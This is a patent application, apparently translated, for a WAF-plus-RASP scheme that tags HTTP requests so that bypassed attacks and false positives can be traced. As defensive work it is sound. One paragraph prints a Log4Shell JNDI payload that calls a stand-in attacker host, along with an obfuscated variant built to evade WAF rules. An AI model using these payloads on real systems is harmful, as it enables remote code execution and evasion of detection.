A data processing method, electronic equipment, medium and product

Abstract

This application provides a data processing method, electronic device, medium, and product; wherein, the method includes: in response to a first Hypertext Transfer Protocol (HTTP) request sent by a client, sending a second HTTP request to a target server; the second HTTP request includes the first HTTP request, a first request identifier of the first HTTP request, and a first detection identifier; the first HTTP request includes a target attack behavior; the first detection identifier indicates that the target attack behavior was not detected; generating alarm information of the first HTTP request based on the first request identifier; the alarm information includes an attack marker of the target attack behavior; capable of protecting against unknown attacks in the HTTP request.

Description

Technical Field

[0001] This application relates to the field of computer technology, and in particular to a data processing method, electronic device, medium, and product. Background Technology

[0002] In related technologies, Web Application Firewalls (WAFs) use rule bases to detect known attacks in HTTP requests, but cannot protect against unknown attacks in Hypertext Transfer Protocol requests. Summary of the Invention

[0003] This application provides a data processing method, electronic device, medium, and product that can protect against unknown attacks in Hypertext Transfer Protocol requests.

[0004] The technical solution of this application embodiment is implemented as follows: This application provides a data processing method, the method comprising: In response to a first Hypertext Transfer Protocol (HTTP) request sent by a client, a second HTTP request is sent to the target server; the second HTTP request includes the first HTTP request, a first request identifier of the first HTTP request, and a first detection identifier; the first HTTP request includes the target attack behavior; the first detection identifier indicates that the target attack behavior was not detected. An alarm message for the first Hypertext Transfer Protocol request is generated based on the first request identifier; the alarm message includes an attack marker for the target attack behavior.

[0005] In the above scheme, the step of sending a second Hypertext Transfer Protocol (HTTP) request to the target server in response to a first HTTP request sent by the client includes: The first request identifier is generated based on the first Hypertext Transfer Protocol request; Insert the first request identifier into the first Hypertext Transfer Protocol request to obtain the third Hypertext Transfer Protocol request; A second Hypertext Transfer Protocol request is generated based on the third Hypertext Transfer Protocol request.

[0006] In the above scheme, generating a second Hypertext Transfer Protocol request based on the third Hypertext Transfer Protocol request includes: The third Hypertext Transfer Protocol request is detected to obtain a first detection result; If the first detection result indicates that the target attack behavior was not detected, the first detection identifier is generated; The first detection identifier is inserted into the third Hypertext Transfer Protocol request to obtain the second Hypertext Transfer Protocol request.

[0007] In the above scheme, before generating the alarm information for the first Hypertext Transfer Protocol request based on the first request identifier, the following steps are included: Receive a first Hypertext Transfer Protocol (HTTP) response sent by the target server; the first HTTP response includes the attack marker.

[0008] The method in the above scheme further includes: In response to the fourth Hypertext Transfer Protocol (HTP) request sent by the client, a fifth HTP request is sent to the target server; the fifth HTP request includes the fourth HTP request, a second request identifier and a second detection identifier of the fourth HTP request; the fourth HTP request does not include the target attack behavior; the second detection identifier indicates that the target attack behavior has been detected; The false alarm information for the fourth Hypertext Transfer Protocol request is generated based on the second request identifier; the false alarm information does not include the attack marker.

[0009] In the above scheme, the step of sending a fifth Hypertext Transfer Protocol request to the target server in response to a fourth Hypertext Transfer Protocol request sent by the client includes: The second request identifier is generated based on the fourth hypertext transfer protocol request; The second request identifier is inserted into the fourth Hypertext Transfer Protocol request to obtain the sixth Hypertext Transfer Protocol request. The sixth Hypertext Transfer Protocol request is detected to obtain a second detection result; If the second detection result indicates that the target attack behavior has been detected, a second detection identifier is generated; The second detection identifier is inserted into the sixth Hypertext Transfer Protocol request to obtain the fifth Hypertext Transfer Protocol request.

[0010] In the above scheme, before generating the false alarm information for the fourth Hypertext Transfer Protocol request based on the second request identifier, the following steps are included: Receive a second Hypertext Transfer Protocol (HTTP) response sent by the target server; the second HTTP response does not include the attack marker.

[0011] This application provides a data processing apparatus, the apparatus comprising: The first processing unit is configured to send a second Hypertext Transfer Protocol (HTTP) request to the target server in response to a first HTTP request sent by the client; the second HTTP request includes the first HTTP request, a first request identifier of the first HTTP request, and a first detection identifier; the first HTTP request includes a target attack behavior; the first detection identifier indicates that the target attack behavior was not detected; The second processing unit is configured to generate alarm information for the first hypertext transfer protocol request based on the first request identifier; the alarm information includes an attack marker for the target attack behavior.

[0012] This application provides an electronic device, including: a processor and a memory for storing computer programs capable of running on the processor. When the processor runs the computer program, it executes the data processing method provided in the embodiments of this application.

[0013] This application provides a computer-readable storage medium storing a computer program or computer-executable instructions for implementing the data processing method provided in this application when executed by a processor.

[0014] This application provides a computer program product, including a computer program or computer executable instructions. When the computer program or computer executable instructions are executed by a processor, they implement the data processing method provided in this application.

[0015] The embodiments of this application have the following beneficial effects: in response to a first Hypertext Transfer Protocol (HTTP) request sent by a client, a first request identifier and a first detection identifier of the first HTTP request are sent to the target server; if a target attack behavior exists in the first HTTP request but is not detected, an alarm message of the first HTTP request is generated based on the first request identifier; thus achieving protection against unknown attacks in the HTTP request. Attached Figure Description

[0016] Figure 1 A flowchart illustrating a data processing method provided in an embodiment of this application; Figure 2 An interactive diagram illustrating a Hypertext Transfer Protocol request and response provided for an embodiment of this application; Figure 3 A flowchart illustrating another data processing method provided in an embodiment of this application; Figure 4 This is a schematic diagram of the structure of a data processing device provided in an embodiment of this application; Figure 5This is a schematic diagram of the structure of an electronic device provided in an embodiment of this application. Detailed Implementation

[0017] To make the objectives, technical solutions, and advantages of this application clearer, the application will be further described in detail below with reference to the accompanying drawings. The described embodiments should not be regarded as limitations on this application. All other embodiments obtained by those skilled in the art without creative effort are within the scope of protection of this application.

[0018] In the following description, references are made to “some embodiments,” which describe a subset of all possible embodiments. However, it is understood that “some embodiments” may be the same subset or different subsets of all possible embodiments and may be combined with each other without conflict.

[0019] In the following description, the terms "first, second, third" are used merely to distinguish similar objects and do not represent a specific ordering of objects. It is understood that "first, second, third" may be interchanged in a specific order or sequence where permitted, so that the embodiments of this application described herein can be implemented in an order other than that illustrated or described herein.

[0020] In the embodiments of this application, the terms "module" or "unit" refer to a computer program or part of a computer program that has a predetermined function and works with other related parts to achieve a predetermined goal, and can be implemented wholly or partially using software, hardware (such as processing circuitry or memory), or a combination thereof. Similarly, a processor (or multiple processors or memory) can be used to implement one or more modules or units. Furthermore, each module or unit can be part of an overall module or unit that includes the functionality of that module or unit.

[0021] Unless otherwise defined, all technical and scientific terms used in the embodiments of this application have the same meaning as commonly understood by one of ordinary skill in the art. The terminology used in the embodiments of this application is for the purpose of describing the embodiments of this application only and is not intended to limit this application.

[0022] In the implementation of this application, the collection and processing of relevant data should strictly comply with the requirements of relevant laws and regulations, obtain the informed consent or separate consent of the personal information subject, and carry out subsequent data use and processing within the scope of laws and regulations and the authorization of the personal information subject.

[0023] Before providing a further detailed description of the embodiments of this application, the nouns and terms involved in the embodiments of this application will be explained, and the nouns and terms involved in the embodiments of this application shall be interpreted as follows.

[0024] In related technologies, WAF performs HTTP traffic inspection based on rules in a rule base. These rules are features extracted from discovered malicious requests, making it difficult to protect against unknown attacks.

[0025] Attackers can bypass WAF detection by changing the format or structure of the attack payload. Once the WAF is bypassed, it will pose a continuous potential threat to the backend web service. When attack behavior is discovered through other security devices, because the WAF does not mark HTTP traffic with malicious behavior, it is necessary to screen a large number of logs when tracing the attack on the device, which makes the tracing difficult.

[0026] Some legitimate user behaviors are very similar to known attack characteristics. In such cases, the WAF may mistakenly identify the request as an attack and mark it as such, thus generating a false alarm.

[0027] Figure 1 This is an optional flowchart illustrating the data processing method provided in the embodiments of this application. The following will be combined with... Figure 1 The steps shown are explained as follows: Figure 1 As shown, the method includes the following steps: Step S101: In response to the first Hypertext Transfer Protocol request sent by the client, send a second Hypertext Transfer Protocol request to the target server.

[0028] The second hypertext transfer protocol request includes a first hypertext transfer protocol request, a first request identifier of the first hypertext transfer protocol request, and a first detection identifier; the first hypertext transfer protocol request includes the target attack behavior; the first detection identifier indicates that the target attack behavior was not detected.

[0029] It is understood that the execution side of this application embodiment is a WAF device. An attacker can send a first Hypertext Transfer Protocol (HTTP) request to the WAF device through a client. The client can include, but is not limited to, smart terminals and personal computers. For example, refer to... Figure 2 As shown, the basic attack payload for CVE-2021-44228 is ${jndi:ldap: / / attacker.cn / a}, where attacker.cn is a client controlled by the attacker. The WAF device detects the jndi:ldap signature, but the attacker can bypass the WAF device's detection by filling in special characters. For example, the attacker can change the payload to the form ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}: / / attacker.cn / a} to bypass the detection.

[0030] In practical applications, the first HTTP request may contain the target attack behavior, but if the WAF device fails to detect it, it can be understood that the first HTTP request bypassed the WAF device. Upon receiving the first HTTP request, the WAF device can insert a first request identifier into the request header to obtain a third HTTP request. The WAF device then checks the third HTTP request against its rule base. If no corresponding characteristics of the target attack behavior are detected, it generates a first detection identifier and inserts this identifier into the third HTTP request to obtain a second HTTP request, which is then sent to the target server. The second HTTP request can be stored in the WAF device's database.

[0031] refer to Figure 2 As shown, the first detection identifier can be understood as Waf-Found-Attack, and the first request identifier can be understood as Http-Request-Uuid.

[0032] Step S102: Generate alarm information for the first Hypertext Transfer Protocol request based on the first request identifier.

[0033] The alarm information includes attack markers indicating the target's attack behavior.

[0034] In practical applications, a Runtime Application Self-Protection (RASP) probe can be set on the target server. RASP does not detect traffic characteristics. The RASP probe finds the JNDIHook.class class in the web application, and a detection algorithm is inserted into the query method in the class by transformation to detect whether the second HTTP request has targeted attack behavior.

[0035] refer to Figure 2 As shown, after the second HTTP request reaches the target server, a key function is invoked, and RASP automatically checks whether there is any targeted attack behavior in this request. After the RASP probe detects the targeted attack behavior, it rewrites the response header of the first HTTP response from the target server, inserting an attack flag and a first request identifier into the response header. The first HTTP response also includes attack information about the targeted attack behavior; the attack flag can be Attack-Type indicating when the attack occurs. After the response returns to the WAF device, the WAF device searches the database for the second HTTP request based on the first request identifier, determines that the bypassed first HTTP request includes the targeted attack behavior, generates an alarm message for the first HTTP request based on the first request identifier, and returns an HTTP response to the client.

[0036] As can be seen from the above, in response to the first Hypertext Transfer Protocol (HTTP) request sent by the client, this embodiment sends a first HTTP request, a first request identifier of the first HTTP request, and a first detection identifier to the target server; if there is a target attack behavior in the first HTTP request but it is not detected, an alarm message of the first HTTP request is generated based on the first request identifier; thus achieving protection against unknown attacks in the HTTP request.

[0037] In some embodiments of this application, in response to a first Hypertext Transfer Protocol (HTTP) request sent by a client, a second HTTP request is sent to the target server, including: A first request identifier is generated based on the first hypertext transfer protocol request; Insert the first request identifier into the first Hypertext Transfer Protocol request to obtain the third Hypertext Transfer Protocol request; A second Hypertext Transfer Protocol request is generated based on a third Hypertext Transfer Protocol request.

[0038] In practical applications, refer to Figure 3 As shown, the first HTTP request includes the target attack behavior, but the WAF device does not detect it. This can be interpreted as the first HTTP request bypassing the WAF device. Upon receiving the first HTTP request, the WAF device can insert a first request identifier into its request header to obtain a third HTTP request. The WAF device then checks the third HTTP request against its rule base. If no corresponding characteristics of the target attack behavior are detected, the WAF device generates a first detection identifier and inserts it into the third HTTP request to obtain a second HTTP request, which is then sent to the target server. The second HTTP request can be stored in the WAF device's database.

[0039] In some embodiments of this application, generating a second Hypertext Transfer Protocol request based on a third Hypertext Transfer Protocol request includes: The third Hypertext Transfer Protocol request is detected, and the first detection result is obtained; If the first detection result indicates that no target attack behavior was detected, a first detection identifier is generated; Insert the first detection identifier into the third Hypertext Transfer Protocol request to obtain the second Hypertext Transfer Protocol request.

[0040] In practical applications, refer to Figure 3As shown, the first HTTP request includes the target attack behavior, but the WAF device does not detect it. This can be interpreted as the first HTTP request bypassing the WAF device. Upon receiving the first HTTP request, the WAF device can insert a first request identifier into its request header to obtain a third HTTP request. The WAF device then checks the third HTTP request against its rule base. If no corresponding characteristics of the target attack behavior are detected, the WAF device generates a first detection identifier and inserts it into the third HTTP request to obtain a second HTTP request, which is then sent to the target server. The second HTTP request can be stored in the WAF device's database.

[0041] In some embodiments of this application, before generating alarm information for a first Hypertext Transfer Protocol request based on a first request identifier, the following steps are included: Receive a first Hypertext Transfer Protocol (HTTP) response from the target server; the first HTTP response includes an attack flag.

[0042] In practical applications, refer to Figure 3 As shown, after the RASP probe detects the target attack behavior, it rewrites the response header of the first HTTP response from the target server, inserting an attack flag and a first request identifier into the response header. The first HTTP response also includes attack information about the target attack behavior. The attack flag can be Attack-Type pointing to the attack. After the first HTTP response returns to the WAF device, the WAF device searches for the second HTTP request in the database based on the first request identifier, determines that the bypassed first HTTP request includes the target attack behavior, generates an alarm message for the first HTTP request based on the first request identifier, and returns an HTTP response to the client. The WAF device can mark the associated first HTTP request as a bypass attack, and can also add the Internet Protocol (IP) of the client of the first HTTP request to the blacklist to prevent the attacker from continuing the attack and reduce the consumption of host resources.

[0043] In some embodiments of this application, the method further includes: In response to a fourth Hypertext Transfer Protocol (HTTP) request sent by the client, a fifth HTTP request is sent to the target server; the fifth HTTP request includes the fourth HTTP request, a second request identifier of the fourth HTTP request, and a second detection identifier of the fourth HTTP request; the fourth HTTP request does not include the target attack behavior; the second detection identifier indicates that the target attack behavior has been detected; The false alarm information for the fourth Hypertext Transfer Protocol request is generated based on the second request identifier; the false alarm information does not include attack markers.

[0044] In practical applications, the fourth HTTP request does not contain the target attack behavior. However, if the WAF device detects the target attack behavior in the fourth HTTP request, it can be understood as a misjudgment by the WAF device. Upon receiving the fourth HTTP request, the WAF device can insert a second request identifier into the request header to obtain the sixth HTTP request. The WAF device then analyzes the sixth HTTP request according to its rule base. If it detects the corresponding characteristics of the target attack behavior, it generates a second detection identifier and inserts this identifier into the sixth HTTP request to obtain the fifth HTTP request, which is then sent to the target server. The fifth HTTP request can be stored in the WAF device's database.

[0045] refer to Figure 3 As shown, after the fifth HTTP request reaches the target server, a key function is invoked, and RASP automatically checks whether there is any targeted attack behavior in this request. If the RASP probe does not detect any targeted attack behavior, it rewrites the response header of the second HTTP response from the target server, inserting a suspicious flag and a second request identifier into the response header. If the suspicious flag can be Attack-Type pointing to a suspected false positive, after the response returns to the WAF device, the WAF device searches for the fifth HTTP request in the database based on the second request identifier, determines that the targeted attack behavior in the fourth HTTP request is a false positive, generates false positive information for the fourth HTTP request based on the second request identifier, and returns an HTTP response to the client.

[0046] As can be seen from the above, by using RASP to re-detect whether HTTP traffic actually contains the target attack behavior, false positives can be identified, the rule base can be optimized, and the false positive rate can be reduced.

[0047] In some embodiments of this application, in response to a fourth Hypertext Transfer Protocol request sent by a client, a fifth Hypertext Transfer Protocol request is sent to the target server, including: A second request identifier is generated based on the fourth hypertext transfer protocol. Insert the second request identifier into the fourth Hypertext Transfer Protocol request to obtain the sixth Hypertext Transfer Protocol request; The sixth Hypertext Transfer Protocol request was detected, and the second detection result was obtained; If the second detection result indicates that a target attack behavior has been detected, a second detection identifier is generated; Insert the second detection identifier into the sixth Hypertext Transfer Protocol Request to obtain the fifth Hypertext Transfer Protocol Request.

[0048] In practical applications, refer to Figure 3As shown, the fourth HTTP request does not contain the target attack behavior. However, if the WAF device detects the target attack behavior in the fourth HTTP request, it can be understood as a misjudgment by the WAF device. Upon receiving the fourth HTTP request, the WAF device can insert a second request identifier into the request header to obtain the sixth HTTP request. The WAF device then checks the sixth HTTP request according to its rule base. If it detects the corresponding characteristics of the target attack behavior, it generates a second detection identifier and inserts this identifier into the sixth HTTP request to obtain the fifth HTTP request, which is then sent to the target server. The fifth HTTP request can be stored in the WAF device's database.

[0049] In some embodiments of this application, before generating false alarm information for the fourth Hypertext Transfer Protocol request based on the second request identifier, the following steps are included: Receive a second Hypertext Transfer Protocol (HTP) response from the target server; the second HTP response does not include attack markers.

[0050] In practical applications, refer to Figure 3 As shown, after the fifth HTTP request reaches the target server, a key function is invoked, and RASP automatically checks whether there is any targeted attack behavior in this request. If the RASP probe does not detect any targeted attack behavior, it rewrites the response header of the second HTTP response from the target server, inserting a suspicious flag and a second request identifier into the response header. If the suspicious flag can be Attack-Type pointing to a suspected false positive, after the response returns to the WAF device, the WAF device searches for the fifth HTTP request in the database based on the second request identifier, determines that the targeted attack behavior in the fourth HTTP request is a false positive, generates false positive information for the fourth HTTP request based on the second request identifier, and returns an HTTP response to the client.

[0051] In a feasible scenario, refer to Figure 3 As shown, the data processing method of this application embodiment can be implemented through the following steps: 1. The client initiates an HTTP request to the WAF. The WAF checks whether this is an attack. If it is an attack, it records an alarm and marks the HTTP access as an attack. Based on the WAF configuration, it decides whether to block the request. If it blocks, it returns an alarm response; otherwise, it proceeds to step 2. If the WAF does not detect any attack, it proceeds to step 3.

[0052] 2. Add an identifier to the request header indicating that the WAF has detected an attack.

[0053] 3. Add a unique identifier for this HTTP request to the request header. The WAF records the web access log and stores the HTTP request information in the database. The request information includes the source IP address, session ID, unique request identifier, request line, request header, and request body.

[0054] 4. When the web service receives an HTTP request from the WAF, it triggers the RASP probe to determine whether the request is an attack. If it is, it parses the unique identifier in the request and inserts the unique identifier and the attack identifier of the RASP tag into the HTTP response, and then executes step 8. If the RASP probe does not detect an attack, it executes step 5.

[0055] 5. Check if the request contains any WAF markers indicating an attack. If so, proceed to step 6; otherwise, return a normal response.

[0056] 6. Insert the unique identifier from the request header into the response, along with a suspicious identifier, and proceed to step 7.

[0057] 7. The HTTP response is returned to the WAF device. The WAF checks for suspicious identifiers. If there are any, it records an alarm log based on the unique identifier of the request and marks this request as a suspected false alarm before returning a response. If there are no suspicious identifiers, it returns a response directly and ends the process. 8. The response is sent back to the WAF, which checks for attack indicators. If an attack indicator is found, the unique identifier of the request is used to associate it with the HTTP request in the database. This request is then marked as a bypass attack. Depending on the WAF configuration, the client IP of this request is added to the blacklist. An alarm log is recorded, and then a response is returned.

[0058] Based on the same inventive concept as described above, Figure 4 This is a schematic diagram of a data processing apparatus provided in an embodiment of the present invention. The apparatus 400 includes: The first processing unit 401 is configured to send a second hypertext transfer protocol request to the target server in response to a first hypertext transfer protocol request sent by the client; the second hypertext transfer protocol request includes the first hypertext transfer protocol request, a first request identifier of the first hypertext transfer protocol request, and a first detection identifier; the first hypertext transfer protocol request includes target attack behavior; the first detection identifier indicates that no target attack behavior was detected; The second processing unit 402 is used to generate alarm information for the first hypertext transfer protocol request based on the first request identifier; the alarm information includes an attack marker of the target attack behavior.

[0059] In some embodiments of this application, the first processing unit 401 is used to generate a first request identifier based on a first hypertext transfer protocol request; Insert the first request identifier into the first Hypertext Transfer Protocol request to obtain the third Hypertext Transfer Protocol request; A second Hypertext Transfer Protocol request is generated based on a third Hypertext Transfer Protocol request.

[0060] In some embodiments of this application, the first processing unit 401 is used to detect a third Hypertext Transfer Protocol request and obtain a first detection result; If the first detection result indicates that no target attack behavior was detected, a first detection identifier is generated; Insert the first detection identifier into the third Hypertext Transfer Protocol request to obtain the second Hypertext Transfer Protocol request.

[0061] In some embodiments of this application, the second processing unit 402 is configured to receive a first Hypertext Transfer Protocol (HTTP) response sent by the target server; the first HTTP response includes an attack flag.

[0062] In some embodiments of this application, the first processing unit 401 is configured to send a fifth hypertext transfer protocol request to the target server in response to a fourth hypertext transfer protocol request sent by the client; the fifth hypertext transfer protocol request includes the fourth hypertext transfer protocol request, a second request identifier and a second detection identifier of the fourth hypertext transfer protocol request; the fourth hypertext transfer protocol request does not include target attack behavior; the second detection identifier indicates that target attack behavior has been detected; The second processing unit 402 is used to generate false alarm information for the fourth Hypertext Transfer Protocol request based on the second request identifier; the false alarm information does not include an attack marker.

[0063] In some embodiments of this application, the first processing unit 401 is used to generate a second request identifier based on a fourth hypertext transfer protocol request; Insert the second request identifier into the fourth Hypertext Transfer Protocol request to obtain the sixth Hypertext Transfer Protocol request; The sixth Hypertext Transfer Protocol request was detected, and the second detection result was obtained; If the second detection result indicates that a target attack behavior has been detected, a second detection identifier is generated; Insert the second detection identifier into the sixth Hypertext Transfer Protocol Request to obtain the fifth Hypertext Transfer Protocol Request.

[0064] In some embodiments of this application, the second processing unit 402 is used to receive a second Hypertext Transfer Protocol (HTTP) response sent by the target server; the second HTTP response does not include an attack marker.

[0065] Based on the foregoing embodiments, embodiments of this application provide an electronic device. Figure 5This is a schematic diagram of a hardware structure of an electronic device according to an embodiment of the present invention. The electronic device 500 includes at least one processor 501 and a memory 502. Optionally, the electronic device 500 may further include at least one communication interface 503. The various components in the electronic device 500 are coupled together through a bus system 504. It can be understood that the bus system 504 is used to realize the connection and communication between these components. In addition to a data bus, the bus system 504 also includes a power bus, a control bus, and a status signal bus. However, for clarity, in... Figure 5 The general designated all buses as Bus System 504.

[0066] Based on the hardware implementation of the above program modules, the communication interface 503 is able to interact with other communication devices. The processor 501 is connected to the communication interface 503 to enable information exchange with other communication devices and to execute the methods provided by one or more of the above-mentioned technical solutions when running a computer program; Memory 502, the computer program is stored in memory 502.

[0067] Specifically, processor 501 is configured to send a second hypertext transfer protocol request to the target server in response to a first hypertext transfer protocol request sent by the client; the second hypertext transfer protocol request includes the first hypertext transfer protocol request, a first request identifier of the first hypertext transfer protocol request, and a first detection identifier; the first hypertext transfer protocol request includes the target attack behavior; the first detection identifier indicates that no target attack behavior was detected; An alarm message for generating a first hypertext transfer protocol request is generated based on the first request identifier; the alarm message includes an attack marker of the target attack behavior.

[0068] In some embodiments of this application, processor 501 is configured to generate a first request identifier based on a first Hypertext Transfer Protocol request; Insert the first request identifier into the first Hypertext Transfer Protocol request to obtain the third Hypertext Transfer Protocol request; A second Hypertext Transfer Protocol request is generated based on a third Hypertext Transfer Protocol request.

[0069] In some embodiments of this application, processor 501 is used to detect a third Hypertext Transfer Protocol request and obtain a first detection result; If the first detection result indicates that no target attack behavior was detected, a first detection identifier is generated; Insert the first detection identifier into the third Hypertext Transfer Protocol request to obtain the second Hypertext Transfer Protocol request.

[0070] In some embodiments of this application, processor 501 is configured to receive a first Hypertext Transfer Protocol (HTTP) response sent by a target server; the first HTTP response includes an attack flag.

[0071] In some embodiments of this application, processor 501 is configured to send a fifth Hypertext Transfer Protocol (HTP) request to a target server in response to a fourth HTP request sent by a client; the fifth HTP request includes the fourth HTP request, a second request identifier of the fourth HTP request, and a second detection identifier of the fourth HTP request; the fourth HTP request does not include target attack behavior; the second detection identifier indicates that target attack behavior has been detected; The false alarm information for the fourth Hypertext Transfer Protocol request is generated based on the second request identifier; the false alarm information does not include attack markers.

[0072] In some embodiments of this application, processor 501 is configured to generate a second request identifier based on a fourth Hypertext Transfer Protocol request; Insert the second request identifier into the fourth Hypertext Transfer Protocol request to obtain the sixth Hypertext Transfer Protocol request; The sixth Hypertext Transfer Protocol request was detected, and the second detection result was obtained; If the second detection result indicates that a target attack behavior has been detected, a second detection identifier is generated; Insert the second detection identifier into the sixth Hypertext Transfer Protocol Request to obtain the fifth Hypertext Transfer Protocol Request.

[0073] In some embodiments of this application, processor 501 is configured to receive a second Hypertext Transfer Protocol (HTTP) response sent by a target server; the second HTTP response does not include an attack flag.

[0074] It is understood that memory 502 can be volatile memory or non-volatile memory, or both. Non-volatile memory can be read-only memory (ROM), programmable read-only memory (PROM), erasable programmable read-only memory (EPROM), electrically erasable programmable read-only memory (EEPROM), magnetic random access memory (FRAM), flash memory, magnetic surface memory, optical disc, or compact disc read-only memory (CD-ROM); magnetic surface memory can be disk storage or magnetic tape storage. Volatile memory can be random access memory (RAM), which is used as an external cache. By way of example, but not limitation, many forms of RAM are available, such as Static Random Access Memory (SRAM), Synchronous Static Random Access Memory (SSRAM), Dynamic Random Access Memory (DRAM), Synchronous Dynamic Random Access Memory (SDRAM), Double Data Rate Synchronous Dynamic Random Access Memory (DDRSDRAM), Enhanced Synchronous Dynamic Random Access Memory (ESDRAM), Sync Link Dynamic Random Access Memory (SLDRAM), and Direct Rambus Random Access Memory (DRRAM).The memory 502 described in this embodiment of the invention is intended to include, but is not limited to, these and any other suitable types of memory.

[0075] The memory 502 in this embodiment of the invention is used to store various types of data to support the operation of the electronic device 500. Examples of such data include any computer program for operation on the electronic device 500, and programs implementing the methods of this embodiment of the invention may be included in the memory 502.

[0076] The methods disclosed in the above embodiments of the present invention can be applied to or implemented by processor 501. The processor may be an integrated circuit chip with signal processing capabilities. During implementation, each step of the above method can be completed by integrated logic circuits in the processor's hardware or by instructions in software form. The processor may be a general-purpose processor, a digital signal processor (DSP), or other programmable logic devices, discrete gate or transistor logic devices, discrete hardware components, etc. The processor can implement or execute the methods, steps, and logic block diagrams disclosed in the embodiments of the present invention. A general-purpose processor may be a microprocessor or any conventional processor, etc. The steps of the methods disclosed in the embodiments of the present invention can be directly manifested as execution by a hardware decoding processor, or execution by a combination of hardware and software modules in the decoding processor. The software modules may be located in a storage medium, which is located in a memory. The processor reads information from the memory and, in conjunction with its hardware, completes the steps of the aforementioned method.

[0077] In an exemplary embodiment, the electronic device 500 may be implemented by one or more application-specific integrated circuits (ASICs), DSPs, programmable logic devices (PLDs), complex programmable logic devices (CPLDs), field-programmable gate arrays (FPGAs), general-purpose processors, controllers, microcontrollers (MCUs), microprocessors, or other electronic components to perform the methods described above.

[0078] This application provides a computer program product, which includes a computer program or computer-executable instructions stored in a computer-readable storage medium. The processor of an electronic device reads the computer-executable instructions from the computer-readable storage medium and executes the computer-executable instructions, causing the electronic device to perform the data processing method described in this application.

[0079] This application provides a computer-readable storage medium storing computer-executable instructions or a computer program. When the computer-executable instructions or the computer program are executed by a processor, the processor will execute the data processing method provided in this application. For example, ... Figure 1 The data processing method is shown.

[0080] In some embodiments, the computer-readable storage medium may be a memory such as RAM, ROM, flash memory, magnetic surface memory, optical disk, or CD-ROM; or it may be a variety of devices including one or any combination of the above-mentioned memories.

[0081] In some embodiments, computer-executable instructions may take the form of programs, software, software modules, scripts, or code, written in any form of programming language (including compiled or interpreted languages, or declarative or procedural languages), and may be deployed in any form, including as stand-alone programs or as modules, components, subroutines, or other units suitable for use in a computing environment.

[0082] As an example, computer-executable instructions may, but do not necessarily, correspond to files in a file system. They may be stored as part of a file that holds other programs or data, for example, in one or more scripts in a Hyper Text Markup Language (HTML) document, in a single file dedicated to the program in question, or in multiple co-located files (e.g., files that store one or more modules, subroutines, or code sections).

[0083] As an example, computer-executable instructions can be deployed to execute on a single electronic device, or on multiple electronic devices located at one location, or on multiple electronic devices distributed across multiple locations and interconnected via a communication network.

[0084] In summary, as can be seen from the above, in response to the first Hypertext Transfer Protocol (HTTP) request sent by the client, this application embodiment sends a first HTTP request, a first request identifier of the first HTTP request, and a first detection identifier to the target server; if there is a target attack behavior in the first HTTP request but it is not detected, an alarm message of the first HTTP request is generated based on the first request identifier; thus achieving protection against unknown attacks in the HTTP request.

[0085] The above are merely embodiments of this application and are not intended to limit the scope of protection of this application. Any modifications, equivalent substitutions, and improvements made within the spirit and scope of this application are included within the scope of protection of this application.

Claims

1. A data processing method, characterized in that, The method includes: In response to a first Hypertext Transfer Protocol (HTTP) request sent by a client, a second HTTP request is sent to the target server; the second HTTP request includes the first HTTP request, a first request identifier of the first HTTP request, and a first detection identifier; the first HTTP request includes the target attack behavior; the first detection identifier indicates that the target attack behavior was not detected. An alarm message for the first Hypertext Transfer Protocol request is generated based on the first request identifier; the alarm message includes an attack marker for the target attack behavior.

2. The method according to claim 1, characterized in that, The step of sending a second Hypertext Transfer Protocol (HTTP) request to the target server in response to a first HTTP request sent by the client includes: The first request identifier is generated based on the first Hypertext Transfer Protocol request; Insert the first request identifier into the first Hypertext Transfer Protocol request to obtain the third Hypertext Transfer Protocol request; A second Hypertext Transfer Protocol request is generated based on the third Hypertext Transfer Protocol request.

3. The method according to claim 2, characterized in that, The generation of a second Hypertext Transfer Protocol request based on the third Hypertext Transfer Protocol request includes: The third Hypertext Transfer Protocol request is detected to obtain a first detection result; If the first detection result indicates that the target attack behavior was not detected, the first detection identifier is generated; The first detection identifier is inserted into the third Hypertext Transfer Protocol request to obtain the second Hypertext Transfer Protocol request.

4. The method according to claim 1, characterized in that, Before generating the alarm information for the first Hypertext Transfer Protocol request based on the first request identifier, the process includes: Receive a first Hypertext Transfer Protocol (HTTP) response sent by the target server; the first HTTP response includes the attack marker.

5. The method according to claim 1, characterized in that, The method further includes: In response to the fourth Hypertext Transfer Protocol (HTP) request sent by the client, a fifth HTP request is sent to the target server; the fifth HTP request includes the fourth HTP request, a second request identifier and a second detection identifier of the fourth HTP request; the fourth HTP request does not include the target attack behavior; the second detection identifier indicates that the target attack behavior has been detected; The false alarm information for the fourth Hypertext Transfer Protocol request is generated based on the second request identifier; the false alarm information does not include the attack marker.

6. The method according to claim 5, characterized in that, The step of sending a fifth Hypertext Transfer Protocol request to the target server in response to a fourth Hypertext Transfer Protocol request sent by the client includes: The second request identifier is generated based on the fourth hypertext transfer protocol request; The second request identifier is inserted into the fourth Hypertext Transfer Protocol request to obtain the sixth Hypertext Transfer Protocol request. The sixth Hypertext Transfer Protocol request is detected to obtain a second detection result; If the second detection result indicates that the target attack behavior has been detected, a second detection identifier is generated; The second detection identifier is inserted into the sixth Hypertext Transfer Protocol request to obtain the fifth Hypertext Transfer Protocol request.

7. The method according to claim 5, characterized in that, Before generating the false alarm information for the fourth Hypertext Transfer Protocol request based on the second request identifier, the process includes: Receive a second Hypertext Transfer Protocol (HTTP) response sent by the target server; the second HTTP response does not include the attack marker.

8. An electronic device, characterized in that, include: The processor and the memory used to store computer programs that can run on the processor. When the processor is used to run the computer program, it performs the steps of the method according to any one of claims 1 to 7.

9. A storage medium having a computer program stored thereon, characterized in that, When the computer program is executed by a processor, it implements the steps of the method according to any one of claims 1 to 7.

10. A computer program product, comprising a computer program, characterized in that, When the computer program is executed by a processor, it implements the steps of the method according to any one of claims 1 to 7.

Images